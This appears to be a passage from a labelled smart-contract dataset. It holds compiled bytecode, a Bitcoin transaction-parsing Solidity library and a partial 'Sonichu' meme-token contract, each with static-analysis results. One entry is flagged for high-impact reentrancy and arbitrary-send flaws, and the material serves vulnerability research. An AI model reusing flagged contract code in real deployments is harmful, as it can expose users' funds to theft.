b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d5b6122b3a6f09b15524321759008022c0aeb855294d5a4f6890cd7446036c4e64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,602
0x720c9a0a45b46a84fc1730224ab6cf617cdd98de
// Bitcoin transaction parsing library // Copyright 2016 rain <https://keybase.io/rain> // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // https://en.bitcoin.it/wiki/Protocol_documentation#tx // // Raw Bitcoin transaction structure: // // field | size | type | description // version | 4 | int32 | transaction version number // n_tx_in | 1-9 | var_int | number of transaction inputs // tx_in | 41+ | tx_in[] | list of transaction inputs // n_tx_out | 1-9 | var_int | number of transaction outputs // tx_out | 9+ | tx_out[] | list of transaction outputs // lock_time | 4 | uint32 | block number / timestamp at which tx locked // // Transaction input (tx_in) structure: // // field | size | type | description // previous | 36 | outpoint | Previous output transaction reference // script_len | 1-9 | var_int | Length of the signature script // sig_script | ? | uchar[] | Script for confirming transaction authorization // sequence | 4 | uint32 | Sender transaction version // // OutPoint structure: // // field | size | type | description // hash | 32 | char[32] | The hash of the referenced transaction // index | 4 | uint32 | The index of this output in the referenced transaction // // Transaction output (tx_out) structure: // // field | size | type | description // value | 8 | int64 | Transaction value (Satoshis) // pk_script_len | 1-9 | var_int | Length of the public key script // pk_script | ? | uchar[] | Public key as a Bitcoin script. // // Variable integers (var_int) can be encoded differently depending // on the represented value, to save space. Variable integers always // precede an array of a variable length data type (e.g. tx_in). // // Variable integer encodings as a function of represented value: // // value | bytes | format // <0xFD (253) | 1 | uint8 // <=0xFFFF (65535)| 3 | 0xFD followed by length as uint16 // <=0xFFFF FFFF | 5 | 0xFE followed by length as uint32 // - | 9 | 0xFF followed by length as uint64 // // Public key scripts `pk_script` are set on the output and can // take a number of forms. The regular transaction script is // called &#39;pay-to-pubkey-hash&#39; (P2PKH): // // OP_DUP OP_HASH160 <pubKeyHash> OP_EQUALVERIFY OP_CHECKSIG // // OP_x are Bitcoin script opcodes. The bytes representation (including // the 0x14 20-byte stack push) is: // // 0x76 0xA9 0x14 <pubKeyHash> 0x88 0xAC // // The <pubKeyHash> is the ripemd160 hash of the sha256 hash of // the public key, preceded by a network version byte. (21 bytes total) // // Network version bytes: 0x00 (mainnet); 0x6f (testnet); 0x34 (namecoin) // // The Bitcoin address is derived from the pubKeyHash. The binary form is the // pubKeyHash, plus a checksum at the end. The checksum is the first 4 bytes // of the (32 byte) double sha256 of the pubKeyHash. (25 bytes total) // This is converted to base58 to form the publicly used Bitcoin address. // Mainnet P2PKH transaction scripts are to addresses beginning with &#39;1&#39;. // // P2SH (&#39;pay to script hash&#39;) scripts only supply a script hash. The spender // must then provide the script that would allow them to redeem this output. // This allows for arbitrarily complex scripts to be funded using only a // hash of the script, and moves the onus on providing the script from // the spender to the redeemer. // // The P2SH script format is simple: // // OP_HASH160 <scriptHash> OP_EQUAL // // 0xA9 0x14 <scriptHash> 0x87 // // The <scriptHash> is the ripemd160 hash of the sha256 hash of the // redeem script. The P2SH address is derived from the scriptHash. // Addresses are the scriptHash with a version prefix of 5, encoded as // Base58check. These addresses begin with a &#39;3&#39;. pragma solidity ^0.4.11; // parse a raw bitcoin transaction byte array library BTC { // Convert a variable integer into something useful and return it and // the index to after it. function parseVarInt(bytes txBytes, uint pos) returns (uint, uint) { // the first byte tells us how big the integer is var ibit = uint8(txBytes[pos]); pos += 1; // skip ibit if (ibit < 0xfd) { return (ibit, pos); } else if (ibit == 0xfd) { return (getBytesLE(txBytes, pos, 16), pos + 2); } else if (ibit == 0xfe) { return (getBytesLE(txBytes, pos, 32), pos + 4); } else if (ibit == 0xff) { return (getBytesLE(txBytes, pos, 64), pos + 8); } } // convert little endian bytes to uint function getBytesLE(bytes data, uint pos, uint bits) returns (uint) { if (bits == 8) { return uint8(data[pos]); } else if (bits == 16) { return uint16(data[pos]) + uint16(data[pos + 1]) * 2 ** 8; } else if (bits == 32) { return uint32(data[pos]) + uint32(data[pos + 1]) * 2 ** 8 + uint32(data[pos + 2]) * 2 ** 16 + uint32(data[pos + 3]) * 2 ** 24; } else if (bits == 64) { return uint64(data[pos]) + uint64(data[pos + 1]) * 2 ** 8 + uint64(data[pos + 2]) * 2 ** 16 + uint64(data[pos + 3]) * 2 ** 24 + uint64(data[pos + 4]) * 2 ** 32 + uint64(data[pos + 5]) * 2 ** 40 + uint64(data[pos + 6]) * 2 ** 48 + uint64(data[pos + 7]) * 2 ** 56; } } // scan the full transaction bytes and return the first two output // values (in satoshis) and addresses (in binary) function getFirstTwoOutputs(bytes txBytes) returns (uint, bytes20, uint, bytes20) { uint pos; uint[] memory input_script_lens = new uint[](2); uint[] memory output_script_lens = new uint[](2); uint[] memory script_starts = new uint[](2); uint[] memory output_values = new uint[](2); bytes20[] memory output_addresses = new bytes20[](2); pos = 4; // skip version (input_script_lens, pos) = scanInputs(txBytes, pos, 0); (output_values, script_starts, output_script_lens, pos) = scanOutputs(txBytes, pos, 2); for (uint i = 0; i < 2; i++) { var pkhash = parseOutputScript(txBytes, script_starts[i], output_script_lens[i]); output_addresses[i] = pkhash; } return (output_values[0], output_addresses[0], output_values[1], output_addresses[1]); } // Check whether `btcAddress` is in the transaction outputs *and* // whether *at least* `value` has been sent to it. // Check whether `btcAddress` is in the transaction outputs *and* // whether *at least* `value` has been sent to it. function checkValueSent(bytes txBytes, bytes20 btcAddress, uint value) returns (bool,uint) { uint pos = 4; // skip version (, pos) = scanInputs(txBytes, pos, 0); // find end of inputs // scan *all* the outputs and find where they are var (output_values, script_starts, output_script_lens,) = scanOutputs(txBytes, pos, 0); // look at each output and check whether it at least value to btcAddress for (uint i = 0; i < output_values.length; i++) { var pkhash = parseOutputScript(txBytes, script_starts[i], output_script_lens[i]); if (pkhash == btcAddress && output_values[i] >= value) { return (true,output_values[i]); } } } // scan the inputs and find the script lengths. // return an array of script lengths and the end position // of the inputs. // takes a &#39;stop&#39; argument which sets the maximum number of // outputs to scan through. stop=0 => scan all. function scanInputs(bytes txBytes, uint pos, uint stop) returns (uint[], uint) { uint n_inputs; uint halt; uint script_len; (n_inputs, pos) = parseVarInt(txBytes, pos); if (stop == 0 || stop > n_inputs) { halt = n_inputs; } else { halt = stop; } uint[] memory script_lens = new uint[](halt); for (var i = 0; i < halt; i++) { pos += 36; // skip outpoint (script_len, pos) = parseVarInt(txBytes, pos); script_lens[i] = script_len; pos += script_len + 4; // skip sig_script, seq } return (script_lens, pos); } // scan the outputs and find the values and script lengths. // return array of values, array of script lengths and the // end position of the outputs. // takes a &#39;stop&#39; argument which sets the maximum number of // outputs to scan through. stop=0 => scan all. function scanOutputs(bytes txBytes, uint pos, uint stop) returns (uint[], uint[], uint[], uint) { uint n_outputs; uint halt; uint script_len; (n_outputs, pos) = parseVarInt(txBytes, pos); if (stop == 0 || stop > n_outputs) { halt = n_outputs; } else { halt = stop; } uint[] memory script_starts = new uint[](halt); uint[] memory script_lens = new uint[](halt); uint[] memory output_values = new uint[](halt); for (var i = 0; i < halt; i++) { output_values[i] = getBytesLE(txBytes, pos, 64); pos += 8; (script_len, pos) = parseVarInt(txBytes, pos); script_starts[i] = pos; script_lens[i] = script_len; pos += script_len; } return (output_values, script_starts, script_lens, pos); } // Slice 20 contiguous bytes from bytes `data`, starting at `start` function sliceBytes20(bytes data, uint start) returns (bytes20) { uint160 slice = 0; for (uint160 i = 0; i < 20; i++) { slice += uint160(data[i + start]) << (8 * (19 - i)); } return bytes20(slice); } // returns true if the bytes located in txBytes by pos and // script_len represent a P2PKH script function isP2PKH(bytes txBytes, uint pos, uint script_len) returns (bool) { return (script_len == 25) // 20 byte pubkeyhash + 5 bytes of script && (txBytes[pos] == 0x76) // OP_DUP && (txBytes[pos + 1] == 0xa9) // OP_HASH160 && (txBytes[pos + 2] == 0x14) // bytes to push && (txBytes[pos + 23] == 0x88) // OP_EQUALVERIFY && (txBytes[pos + 24] == 0xac); // OP_CHECKSIG } // returns true if the bytes located in txBytes by pos and // script_len represent a P2SH script function isP2SH(bytes txBytes, uint pos, uint script_len) returns (bool) { return (script_len == 23) // 20 byte scripthash + 3 bytes of script && (txBytes[pos + 0] == 0xa9) // OP_HASH160 && (txBytes[pos + 1] == 0x14) // bytes to push && (txBytes[pos + 22] == 0x87); // OP_EQUAL } // Get the pubkeyhash / scripthash from an output script. Assumes // pay-to-pubkey-hash (P2PKH) or pay-to-script-hash (P2SH) outputs. // Returns the pubkeyhash/ scripthash, or zero if unknown output. function parseOutputScript(bytes txBytes, uint pos, uint script_len) returns (bytes20) { if (isP2PKH(txBytes, pos, script_len)) { return sliceBytes20(txBytes, pos + 3); } else if (isP2SH(txBytes, pos, script_len)) { return sliceBytes20(txBytes, pos + 2); } else { return; } } }
0x6060604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630d63fdbe146100a95780634d7dcfbd1461013f5780638c115322146101b557806397a4202214610231578063cba66e1414610381578063d5c469f81461040e578063d5c9712f1461048a578063e0303a2e14610502578063e0a802ba146105b9578063e57ea16d14610679575b600080fd5b61010b600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803590602001909190803590602001909190505061070b565b60405180826bffffffffffffffffffffffff19166bffffffffffffffffffffffff1916815260200191505060405180910390f35b610198600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803590602001909190505061075d565b604051808381526020018281526020019250505060405180910390f35b610217600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803590602001909190803590602001909190505061087b565b604051808215151515815260200191505060405180910390f35b610293600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091908035906020019091908035906020019091905050610bde565b60405180806020018060200180602001858152602001848103845288818151815260200191508051906020019060200280838360005b838110156102e45780820151818401526020810190506102c9565b50505050905001848103835287818151815260200191508051906020019060200280838360005b8381101561032657808201518184015260208101905061030b565b50505050905001848103825286818151815260200191508051906020019060200280838360005b8381101561036857808201518184015260208101905061034d565b5050505090500197505050505050505060405180910390f35b6103da600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091908035906020019091905050610d6b565b60405180826bffffffffffffffffffffffff19166bffffffffffffffffffffffff1916815260200191505060405180910390f35b610470600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091908035906020019091908035906020019091905050610e8e565b604051808215151515815260200191505060405180910390f35b6104ec600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803590602001909190803590602001909190505061109e565b6040518082815260200191505060405180910390f35b610552600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506118b3565b60405180858152602001846bffffffffffffffffffffffff19166bffffffffffffffffffffffff19168152602001838152602001826bffffffffffffffffffffffff19166bffffffffffffffffffffffff1916815260200194505050505060405180910390f35b61061b600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091908035906020019091908035906020019091905050611ad2565b6040518080602001838152602001828103825284818151815260200191508051906020019060200280838360005b83811015610664578082015181840152602081019050610649565b50505050905001935050505060405180910390f35b6106ea600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919080356bffffffffffffffffffffffff1916906020019091908035906020019091905050611bac565b60405180831515151581526020018281526020019250505060405180910390f35b600061071884848461087b565b156107315761072a8460038501610d6b565b9050610756565b61073c848484610e8e565b156107555761074e8460028501610d6b565b9050610756565b5b9392505050565b6000806000848481518110151561077057fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027f01000000000000000000000000000000000000000000000000000000000000009004905060018401935060fd8160ff1610156108035780848160ff16915092509250610873565b60fd8160ff1614156108285761081b8585601061109e565b6002850192509250610873565b60fe8160ff16141561084d576108408585602061109e565b6004850192509250610873565b60ff8160ff161415610872576108658585604061109e565b6008850192509250610873565b5b509250929050565b6000601982148015610929575060767f01000000000000000000000000000000000000000000000000000000000000000284848151811015156108ba57fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80156109d4575060a97f010000000000000000000000000000000000000000000000000000000000000002846001850181518110151561096557fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b8015610a7f575060147f0100000000000000000000000000000000000000000000000000000000000000028460028501815181101515610a1057fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b8015610b2a575060887f0100000000000000000000000000000000000000000000000000000000000000028460178501815181101515610abb57fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b8015610bd5575060ac7f0100000000000000000000000000000000000000000000000000000000000000028460188501815181101515610b6657fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b90509392505050565b610be6611cc6565b610bee611cc6565b610bf6611cc6565b600080600080610c04611cc6565b610c0c611cc6565b610c14611cc6565b6000610c208e8e61075d565b809e50819850505060008c1480610c365750868c115b15610c4357869550610c47565b8b95505b85604051805910610c555750595b9080825280602002602001820160405250935085604051805910610c765750595b9080825280602002602001820160405250925085604051805910610c975750595b90808252806020026020018201604052509150600090505b858160ff161015610d4f57610cc68e8e604061109e565b828260ff16815181101515610cd757fe5b906020019060200201818152505060088d019c50610cf58e8e61075d565b809e5081965050508c848260ff16815181101515610d0f57fe5b906020019060200201818152505084838260ff16815181101515610d2f57fe5b9060200190602002018181525050848d019c508080600101915050610caf565b8184848f9a509a509a509a505050505050505093509350935093565b6000806000809150600090505b60148173ffffffffffffffffffffffffffffffffffffffff161015610e74578060130360080273ffffffffffffffffffffffffffffffffffffffff1685858373ffffffffffffffffffffffffffffffffffffffff1601815181101515610dda57fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027f0100000000000000000000000000000000000000000000000000000000000000900473ffffffffffffffffffffffffffffffffffffffff169060020a02820191508080600101915050610d78565b816c01000000000000000000000000029250505092915050565b6000601782148015610f3f575060a97f0100000000000000000000000000000000000000000000000000000000000000028460008501815181101515610ed057fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b8015610fea575060147f0100000000000000000000000000000000000000000000000000000000000000028460018501815181101515610f7b57fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b8015611095575060877f010000000000000000000000000000000000000000000000000000000000000002846016850181518110151561102657fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b90509392505050565b6000600882141561112f5783838151811015156110b757fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027f0100000000000000000000000000000000000000000000000000000000000000900460ff1690506118ac565b601082141561124357610100846001850181518110151561114c57fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027f010000000000000000000000000000000000000000000000000000000000000090040284848151811015156111c957fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027f010000000000000000000000000000000000000000000000000000000000000090040161ffff1690506118ac565b6020821415611464576301000000846003850181518110151561126257fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027f01000000000000000000000000000000000000000000000000000000000000009004026201000085600286018151811015156112e657fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027f0100000000000000000000000000000000000000000000000000000000000000900402610100866001870181518110151561136957fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027f010000000000000000000000000000000000000000000000000000000000000090040286868151811015156113e657fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027f0100000000000000000000000000000000000000000000000000000000000000900401010163ffffffff1690506118ac565b60408214156118ab57670100000000000000846007850181518110151561148757fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027f01000000000000000000000000000000000000000000000000000000000000009004026601000000000000856006860181518110151561150f57fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027f010000000000000000000000000000000000000000000000000000000000000090040265010000000000866005870181518110151561159657fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027f0100000000000000000000000000000000000000000000000000000000000000900402640100000000876004880181518110151561161c57fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027f0100000000000000000000000000000000000000000000000000000000000000900402630100000088600389018151811015156116a157fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027f0100000000000000000000000000000000000000000000000000000000000000900402620100008960028a0181518110151561172557fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027f01000000000000000000000000000000000000000000000000000000000000009004026101008a60018b018151811015156117a857fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027f01000000000000000000000000000000000000000000000000000000000000009004028a8a81518110151561182557fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027f010000000000000000000000000000000000000000000000000000000000000090040101010101010167ffffffffffffffff1690506118ac565b5b9392505050565b60008060008060006118c3611cc6565b6118cb611cc6565b6118d3611cc6565b6118db611cc6565b6118e3611cda565b60008060026040518059106118f55750595b9080825280602002602001820160405250965060026040518059106119175750595b9080825280602002602001820160405250955060026040518059106119395750595b90808252806020026020018201604052509450600260405180591061195b5750595b90808252806020026020018201604052509350600260405180591061197d5750595b90808252806020026020018201604052509250600497506119a08d896000611ad2565b80995081985050506119b48d896002610bde565b809b5081995082985083975050505050600091505b6002821015611a5757611a0b8d86848151811015156119e457fe5b9060200190602002015188858151811015156119fc57fe5b9060200190602002015161070b565b9050808383815181101515611a1c57fe5b906020019060200201906bffffffffffffffffffffffff191690816bffffffffffffffffffffffff19168152505081806001019250506119c9565b836000815181101515611a6657fe5b90602001906020020151836000815181101515611a7f57fe5b90602001906020020151856001815181101515611a9857fe5b90602001906020020151856001815181101515611ab157fe5b906020019060200201519b509b509b509b5050505050505050509193509193565b611ada611cc6565b600080600080611ae8611cc6565b6000611af48a8a61075d565b809a5081965050506000881480611b0a57508488115b15611b1757849350611b1b565b8793505b83604051805910611b295750595b90808252806020026020018201604052509150600090505b838160ff161015611b9957602489019850611b5c8a8a61075d565b809a50819450505082828260ff16815181101515611b7657fe5b906020019060200201818152505060048301890198508080600101915050611b41565b8189965096505050505050935093915050565b6000806000611bb9611cc6565b611bc1611cc6565b611bc9611cc6565b60008060049550611bdc8b876000611ad2565b905080965050611bee8b876000610bde565b50945094509450600091505b8451821015611cb757611c3c8b8584815181101515611c1557fe5b906020019060200201518585815181101515611c2d57fe5b9060200190602002015161070b565b9050896bffffffffffffffffffffffff1916816bffffffffffffffffffffffff1916148015611c825750888583815181101515611c7557fe5b9060200190602002015110155b15611caa5760018583815181101515611c9757fe5b9060200190602002015197509750611cb8565b8180600101925050611bfa565b5b505050505050935093915050565b602060405190810160405280600081525090565b6020604051908101604052806000815250905600a165627a7a7230582016cc90c22162d45068f73936e81b8d571a2f6a5d597e51c4a335b9205de6beac0029
{"success": true, "error": null, "results": {}}
3,603
0x66b781fd0cf9ba167349bb456984fbbb9e0c791d
/** *Submitted for verification at Etherscan.io on 2021-08-02 */ /** *Submitted for verification at Etherscan.io on based department SONICHU Telegram: https://t.me/sonichutoken Every 10 holders we extend the liquidity lock by 1 day for the launch @ 100 holders we start a twitter @ 200 holders we make a website After is up to you uwaa~ */ //SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Sonichu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private bots; mapping (address => uint) private cooldown; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1954000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Sonichu"; string private constant _symbol = 'SICHU'; uint8 private constant _decimals = 9; uint256 private _taxFee = 2; uint256 private _teamFee = 10; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) public { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } if(from != address(this)){ require(amount <= _maxTxAmount); 